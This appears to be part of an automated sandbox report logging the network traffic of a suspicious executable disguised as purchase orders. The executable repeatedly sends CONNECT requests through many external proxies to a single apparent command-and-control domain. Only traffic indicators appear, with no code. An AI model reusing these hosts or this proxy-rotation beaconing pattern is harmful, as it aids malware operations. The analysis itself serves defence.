2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.11	52681	104.238.111.107	5452	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.372328997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.376404047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.11	53441	23.227.38.230	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.372642994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.527211905 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.11	53391	74.48.7.43	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.374453068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.11	52585	185.82.218.52	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.374772072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.11	53446	45.12.31.104	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.375174046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.535482883 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.11	53338	70.166.167.55	57745	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.375577927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.11	53245	61.133.66.69	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.375672102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.311273098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.260247946 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:24 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.11	53362	45.60.186.208	27488	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.375672102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.11	53361	23.19.244.109	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.377556086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.11	53443	172.67.181.136	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.382952929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.537555933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.11	52415	192.111.130.2	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.388014078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.11	53515	43.157.17.146	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.392198086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.11	53516	43.157.17.146	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.393990993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.11	53518	43.157.17.146	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.394967079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.11	53519	43.157.17.146	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.396552086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.11	53337	5.61.33.234	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.396811962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.11	52660	98.170.57.249	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.398173094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.11	52706	98.162.25.7	31653	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.400748014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.11	53549	43.153.55.205	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.415736914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.11	53013	42.61.48.219	8000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.418241024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.231182098 CET	263	IN	HTTP/1.1 503 Service Unavailable x-envoy-overloaded: true content-length: 81 content-type: text/plain date: Mon, 11 Mar 2024 15:22:10 GMT server: svcproxy connection: close Data Raw: 75 70 73 74 72 65 61 6d 20 63 6f 6e 6e 65 63 74 20 65 72 72 6f 72 20 6f 72 20 64 69 73 63 6f 6e 6e 65 63 74 2f 72 65 73 65 74 20 62 65 66 6f 72 65 20 68 65 61 64 65 72 73 2e 20 72 65 73 65 74 20 72 65 61 73 6f 6e 3a 20 6f 76 65 72 66 6c 6f 77 Data Ascii: upstream connect error or disconnect/reset before headers. reset reason: overflow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.11	53550	43.153.55.205	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.418991089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.11	53552	43.153.55.205	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.421663046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.11	53554	43.153.55.205	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.422249079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.11	52702	152.32.130.117	18080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.459455013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.11	53375	116.203.28.43	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.463290930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.782010078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.11	53471	172.67.182.150	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.463699102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.617994070 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.11	53257	89.218.8.152	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.464461088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.438685894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.11	53380	188.166.17.18	8881	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.464768887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.11	53393	5.75.192.13	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.473344088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.11	53377	115.146.225.137	10046	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.542927980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.11	53419	93.190.141.102	14888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.542927980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.839696884 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.11	52664	154.12.178.107	29985	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
